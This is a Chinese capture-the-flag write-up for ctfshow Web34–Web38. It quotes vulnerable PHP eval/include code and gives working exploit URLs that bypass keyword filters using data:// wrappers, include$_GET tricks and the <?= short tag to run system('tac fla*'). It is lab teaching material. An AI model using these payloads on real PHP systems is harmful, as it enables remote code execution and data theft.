ctfshow(34->38)--RCE/命令执行漏洞

Web34

源代码:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

代码审计:

过滤了preg_match函数//之间的关键字。

思路:

比起上一题多过滤了冒号.
不影响使用文件包含,与上一题操作相同。

EXP:

ls获取目录下的文件:

https://7e8eaa5a-1f6a-4111-8d41-020011cec413.challenge.ctf.show/
?c=include$_GET[1]?>
&1=data://text/plain,<?php system('ls');?>

读取flag文件:

https://7e8eaa5a-1f6a-4111-8d41-020011cec413.challenge.ctf.show/
?c=include$_GET[1]?>
&1=data://text/plain,<?php system('tac fla*');?>

得到flag.

Web35

源代码:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);

代码审计:

过滤了preg_match函数//之间的关键字。

思路:

比起上一题多过滤了小于号<和等于号=
不影响使用文件包含,与上一题操作相同。

EXP:

ls获取目录下的文件:

https://34966380-02a4-45b6-9248-0fe39acb14df.challenge.ctf.show/
?c=include$_GET[1]?>
&1=data://text/plain,<?php system('ls');?>

读取flag文件:

https://34966380-02a4-45b6-9248-0fe39acb14df.challenge.ctf.show/
?c=include$_GET[1]?>
&1=data://text/plain,<?php system('tac fla*');?>

得到flag.

Web36

源代码:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

代码审计:

过滤了preg_match函数//之间的关键字。
其中 [0-9] 表示匹配0到9之间的所有数字,[]只匹配单个字符

思路:

多过滤了斜杠/和数字0-9
所以我们将构造的c=include$_GET[1]?>中的 GET参数1 替换为 任意字母 绕过对数字的过滤。

EXP:

ls获取目录下的文件:

https://34c0f893-1a28-4fed-990a-2c47c55740d8.challenge.ctf.show/
?c=include$_GET[a]?>
&a=data://text/plain,<?php system('ls');?>

读取flag文件:

https://34c0f893-1a28-4fed-990a-2c47c55740d8.challenge.ctf.show/
?c=include$_GET[a]?>
&a=data://text/plain,<?php system('tac fla*');?>

得到flag.

Web37

源代码:

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    }
        
}else{
    highlight_file(__FILE__);
}

代码审计:

perg_match函数过滤了flag
include函数对GET参数c进行了包含

思路:

使用data://伪协议读取文件内容。
由于过滤了flag,所有我们使用通配符*绕过。

EXP:

https://b0b97e25-534a-4eaf-a52d-fcecb6f24740.challenge.ctf.show/
?c=data://text/plain,<?php system('tac fla*')?>

得到flag.

Web38

源代码:

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    }
        
}else{
    highlight_file(__FILE__);
}

代码审计:

preg_match函数过滤了flag,php,file
对 c 进行了包含。

思路:

我们要构造?c=data://text/plain,<?php system('tac fla*');?>读取flag.php文件。
但是这里过滤了关键字php,所以我们用短标签<?=绕过。

在PHP中,<?= 等同于 <?php echo.

EXP:

构造payload:

https://168087e6-1c0e-433c-b42e-e0e2c4b0035c.challenge.ctf.show/
?c=data://text/plain,<?= system('tac fla*');?>

得到flag.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值